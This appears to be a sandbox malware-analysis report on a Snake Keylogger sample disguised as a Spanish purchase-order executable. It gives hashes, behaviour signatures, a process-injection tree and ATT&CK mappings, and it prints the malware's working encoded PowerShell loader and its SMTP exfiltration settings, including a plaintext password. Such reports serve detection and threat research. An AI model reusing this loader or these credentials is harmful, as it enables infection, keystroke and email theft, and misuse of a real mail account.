snakekeylogger | 0a6f0b8ace6e7a43bc35e80cee2d7769c4ef3a994b4d38cd4bf7978dfc97c7e8

Analysis

max time kernel
117s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
15/05/2024, 12:35

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General

Target
z46PEDIDODECOMPRAURGENTE___F__D__P___.exe
Size 1.1MB
Sample240515-psltcshf5s
SHA256 0a6f0b8ace6e7a43bc35e80cee2d7769c4ef3a994b4d38cd4bf7978dfc97c7e8
MD5 56c2e79168a27d15ada4499a0c3feec9
SHA1 7797ea5dc3cd1191d5ebb051f62f79849b6835ce
SHA512 426625985be91c443716a9f68ffdc6667cc5129e2ee4ef554472ab43f8c9a3c037dbc8d9591d99827b0f7fc27c22fb9e793c4a3a947158ca2866df52b166e0f6
SSDEEP 12288:agdVYTTZEcmgH5KqlyGNb5AdER2wOBgNAXrO50Zx0k3eOGIRl6QJn0WpoJpx5oCH:agdVYhHQqcE2BbX/QCc2VUprodc
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

snakekeylogger collection execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol
smtp
Host
mail.gbogboro.com
Port
587
Username
[email protected]
Password
Egoamaka@123

https://scratchdreams.tk

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/3500-17-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	installutil.exe
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	installutil.exe
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	installutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3316 set thread context of 3500	3316	powershell.exe	86

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3316	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3316	powershell.exe
3316	powershell.exe
3316	powershell.exe
3316	powershell.exe
3316	powershell.exe
3500	installutil.exe
3500	installutil.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3316	powershell.exe
Token: SeDebugPrivilege	3500	installutil.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 3300 wrote to memory of 3316	3300	z46PEDIDODECOMPRAURGENTE___F__D__P___.exe	81
PID 3300 wrote to memory of 3316	3300	z46PEDIDODECOMPRAURGENTE___F__D__P___.exe	81
PID 3316 wrote to memory of 1208	3316	powershell.exe	84
PID 3316 wrote to memory of 1208	3316	powershell.exe	84
PID 3316 wrote to memory of 1208	3316	powershell.exe	84
PID 3316 wrote to memory of 3840	3316	powershell.exe	85
PID 3316 wrote to memory of 3840	3316	powershell.exe	85
PID 3316 wrote to memory of 3840	3316	powershell.exe	85
PID 3316 wrote to memory of 3500	3316	powershell.exe	86
PID 3316 wrote to memory of 3500	3316	powershell.exe	86
PID 3316 wrote to memory of 3500	3316	powershell.exe	86
PID 3316 wrote to memory of 3500	3316	powershell.exe	86
PID 3316 wrote to memory of 3500	3316	powershell.exe	86
PID 3316 wrote to memory of 3500	3316	powershell.exe	86
PID 3316 wrote to memory of 3500	3316	powershell.exe	86
PID 3316 wrote to memory of 3500	3316	powershell.exe	86
PID 3316 wrote to memory of 2988	3316	powershell.exe	87
PID 3316 wrote to memory of 2988	3316	powershell.exe	87
PID 3316 wrote to memory of 2988	3316	powershell.exe	87

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	installutil.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	installutil.exe

C:\Users\Admin\AppData\Local\Temp\z46PEDIDODECOMPRAURGENTE___F__D__P___.exe
"C:\Users\Admin\AppData\Local\Temp\z46PEDIDODECOMPRAURGENTE___F__D__P___.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkABIEQAQ1BDwENQQ9BD0EMARPBB8EMAQ/BDoEMAQgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJAAoBDAEMQQ7BD4EPQQgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAEgRABDUEPAQ1BD0EPQQwBE8EHwQwBD8EOgQwBCAALQBGAGkAbAB0AGUAcgAgACQAKAQwBDEEOwQ+BD0EIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAHsACgAgACAAIAAgAHAAYQByAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAGgQ7BE4ERwQsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABgEPQQ4BEYEOAQwBDsEOAQ3BDgEQARDBE4ESQQ4BDkEEgQ1BDoEQgQ+BEAELAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJAAUBDAEPQQ9BEsENQQKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgACQAKAQ4BEQEQAQwBEIEPgRABC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BCAAPQAgACQAKAQ4BEQEQAQwBEIEPgRABC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAAkABoEOwROBEcELAAgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQpAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQgAD0AIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAFAQwBD0EPQRLBDUELAAgADAALAAgACQAFAQwBD0EPQRLBDUELgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQKAH0ACgAKACQAGgQ7BE4ERwQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAwADAALAAgADAAeAA4ADMALAAgADAAeABFADUALAAgADAAeABFADgALAAgADAAeAA0ADcALAAgADAAeAA5ADMALAAgADAAeAAyADgALAAgADAAeAAzAEMALAAgADAAeABFAEIALAAgADAAeABEAEIALAAgADAAeAA4AEEALAAgADAAeAA2ADAALAAgADAAeABGADAALAAgADAAeABCADgALAAgADAAeAA5AEUALAAgADAAeAA3ADEALAAgADAAeAA2ADMALAAgADAAeABCADUALAAgADAAeAA5ADUALAAgADAAeAA4AEYALAAgADAAeABFADAALAAgADAAeABFAEIALAAgADAAeABBADEALAAgADAAeAA5ADAALAAgADAAeAA3AEYALAAgADAAeABBADAALAAgADAAeABFAEEALAAgADAAeAA1AEIALAAgADAAeAAyAEYALAAgADAAeAA0AEEALAAgADAAeAA2ADYALAAgADAAeAA5ADIAKQAKACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABGADIALAAgADAAeAAzAEUALAAgADAAeABDADIALAAgADAAeAA4ADYALAAgADAAeABCAEUALAAgADAAeAAwADQALAAgADAAeABEADIALAAgADAAeAA2ADEALAAgADAAeAAxADQALAAgADAAeAA0ADIALAAgADAAeAA4ADIALAAgADAAeAAyAEYALAAgADAAeAAwADEALAAgADAAeAAwADkALAAgADAAeAAzADEALAAgADAAeAAyAEUAKQAKAAoAaQBmACAAKAAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAKACAAIAAgACAAJAAfBEMEQgRMBCQEMAQ5BDsEMAQgAD0AIAAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsELgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAFwQwBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQRBDAEOQRCBEsEIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAB8EQwRCBEwEJAQwBDkEOwQwBCkAOwAKACAAIAAgACAAJAAgBDAEQQRIBDgERARABD4EMgQwBD0EPQQ+BDUEIQQ+BDQENQRABDYEOAQ8BD4ENQQgAD0AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAC0AGgQ7BE4ERwQgACQAGgQ7BE4ERwQgAC0AGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAC0AFAQwBD0EPQRLBDUEIAAkABcEMARIBDgERARABD4EMgQwBD0EPQRLBDUEEQQwBDkEQgRLBAoACgAgACAAIAAgACQAIQQxBD4EQAQ6BDAEIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFsAYgB5AHQAZQBbAF0AXQBAACgAJAAgBDAEQQRIBDgERARABD4EMgQwBD0EPQQ+BDUEIQQ+BDQENQRABDYEOAQ8BD4ENQQpACkAOwAKACAAIAAgACAAJAAiBD4ERwQ6BDAEEgRFBD4ENAQwBCAAPQAgACQAIQQxBD4EQAQ6BDAELgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQAIgQ+BEcEOgQwBBIERQQ+BDQEMAQuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AAoAfQAKAA==
  2⤵
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
    3⤵
    PID:1208
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
    3⤵
    PID:3840
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:3500
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
    3⤵
    PID:2988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_kuuyvhxs.vwr.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kuuyvhxs.vwr.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

file-3943.putik

Path C:\Users\Admin\AppData\Local\Temp\file-3943.putik
Size 20KB
SHA256 9652d095e72771a5096ac01efd43faf8383fca0417d3303e016f3af6b825b3ad
MD5 495a819114d8b3723e766476fb32bfb1
SHA1 81710d75ea0c1674d121b9cedaab119cebcbda21
SHA512 523254ae0dd6ba0ab79c1f7d523b4e7d16ae4c023959ee9a8004e2201ddf5b0a8dd2ff86dcc93beb37541b0f3f1265ad81099abac42ce5b79aaf788af9d64e1f
SSDEEP 384:ff0ewlBgwmQD3/3opqvcY1HmBbSn2pq8asD9f8/+NdNlnipgZyYQHmGHKg:nhwbgw9DP3opFTJSn2ogBftRnipguHmY
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/3316-1-0x00007FFE14C73000-0x00007FFE14C75000-memory.dmp

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memory/3316-7-0x000001C5F9280000-0x000001C5F92A2000-memory.dmp

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memory/3316-12-0x00007FFE14C70000-0x00007FFE15731000-memory.dmp

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memory/3316-13-0x00007FFE14C70000-0x00007FFE15731000-memory.dmp

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memory/3316-15-0x000001C5F9230000-0x000001C5F923A000-memory.dmp

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memory/3316-16-0x000001C5FB650000-0x000001C5FB6CA000-memory.dmp

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memory/3316-22-0x00007FFE14C70000-0x00007FFE15731000-memory.dmp

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memory/3500-19-0x0000000005D90000-0x0000000006334000-memory.dmp

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memory/3500-18-0x000000007544E000-0x000000007544F000-memory.dmp

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memory/3500-20-0x00000000056B0000-0x000000000574C000-memory.dmp

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memory/3500-21-0x0000000075440000-0x0000000075BF0000-memory.dmp

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memory/3500-17-0x0000000000400000-0x0000000000426000-memory.dmp

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memory/3500-23-0x000000007544E000-0x000000007544F000-memory.dmp

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memory/3500-24-0x0000000075440000-0x0000000075BF0000-memory.dmp

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memory/3500-25-0x0000000001440000-0x0000000001490000-memory.dmp

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memory/3500-26-0x00000000069D0000-0x0000000006B92000-memory.dmp

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memory/3500-27-0x00000000068A0000-0x0000000006932000-memory.dmp

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memory/3500-28-0x0000000005D80000-0x0000000005D8A000-memory.dmp

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